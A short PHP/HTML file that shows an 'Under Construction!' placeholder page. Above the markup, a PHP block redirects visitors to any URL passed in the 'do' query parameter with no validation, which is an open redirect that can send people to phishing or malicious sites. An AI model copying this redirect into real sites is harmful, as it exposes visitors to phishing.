OR

<?php
if($_GET['do'])
$asu = $_GET['do'];
header("Location: $asu");
?>
<html>
    <head>
        <link rel="shortcut icon" type="image/png" href="https://www.arkmark.co.za/images/under_construction_warning_sign.png"/>
        <title>Under Construction!</title>
    </head>
    <body>
        <center>
            <h1>Under Construction!</h1>
        </center>
        <br>
        <center>
<img src="https://www.arkmark.co.za/images/under_construction_warning_sign.png" height="480" width="480">
        </center>
    </body>
</html>